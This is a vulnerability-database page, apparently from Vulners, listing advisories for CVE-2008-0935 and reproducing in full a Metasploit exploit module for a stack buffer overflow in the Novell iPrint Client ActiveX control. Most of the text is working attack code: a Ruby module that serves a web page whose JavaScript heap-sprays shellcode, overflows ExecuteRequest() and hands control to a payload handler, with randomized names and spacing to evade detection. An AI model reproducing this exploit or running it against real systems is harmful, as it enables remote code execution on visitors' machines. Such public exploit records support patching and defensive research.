Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow

🗓️ 01 Mar 2008 17:20:24Reported by MC <[email protected]>Type

Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow exploi

Reporter	Title	Published	Views	Family All 14
Circl	CVE-2008-0935	21 Sep 201000:00	–	circl
Check Point Advisories	Novell iPrint Client ienipp.ocx ActiveX Control Stack-based Buffer Overflow (CVE-2008-0935)	8 Apr 200800:00	–	checkpoint_advisories
CVE	CVE-2008-0935	25 Feb 200818:00	–	cve
Cvelist	CVE-2008-0935	25 Feb 200818:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_IPRINT	25 Feb 200818:44	–	d2
Exploit DB	Novell iPrint Client - ActiveX Control ExecuteRequest Buffer Overflow (Metasploit)	21 Sep 201000:00	–	exploitdb
Tenable Nessus	Novell iPrint Control ActiveX (ienipp.ocx) ExecuteRequest() Method Overflow	25 Feb 200800:00	–	nessus
NVD	CVE-2008-0935	25 Feb 200818:44	–	nvd
Packet Storm	Novell iPrint Client ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	25 Feb 200818:44	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Novell iPrint Client 4.26. When
        sending an overly long string to the ExecuteRequest() property of ienipp.ocx
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-0935' ],
          [ 'OSVDB', '42063'],
          [ 'BID', '27939' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => '2008-02-22',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|
      <html>
      <object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
      <script language="JavaScript">
      var #{rand1} = unescape('#{shellcode}');
      var #{randnop} = "#{nops}";
      var #{rand2} = unescape(#{randnop});
      var #{rand3} = 20;
      var #{rand4} = #{rand3} + #{rand1}.length;
      while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
      var #{rand5} = #{rand2}.substring(0,#{rand4});
      var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
      while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
      var #{rand7} = new Array();
      for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
      var #{rand8} = ""
      for (#{var_i} = 0; #{var_i} < 8500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
      #{vname}.ExecuteRequest(#{rand8}, #{vname});
      </script>
      </html>
      |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

0.5Low risk

Vulners AI Score0.5

CVSS 210

EPSS0.6514